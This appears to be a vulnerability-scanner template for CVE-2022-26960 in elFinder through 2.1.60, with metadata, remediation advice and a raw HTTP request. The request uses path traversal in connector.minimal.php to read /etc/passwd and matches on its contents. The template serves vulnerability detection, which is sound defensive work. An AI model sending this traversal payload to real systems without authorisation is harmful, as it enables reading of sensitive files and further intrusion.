elFinder <=2.1.60 - Local File Inclusion

id: CVE-2022-26960

info:
  name: elFinder <=2.1.60 - Local File Inclusion
  author: pikpikcu
  severity: critical
  description: |
    elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Upgrade elFinder to version 2.1.61 or later to mitigate this vulnerability.
  reference:
    - https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html
    - https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db
    - https://www.synacktiv.com/publications.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26960
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2022-26960
    cwe-id: CWE-22
    epss-score: 0.50993
    epss-percentile: 0.98938
    cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: std42
    product: elfinder
  tags: cve2022,cve,lfi,elfinder,std42,vuln

http:
  - raw:
      - |
        GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200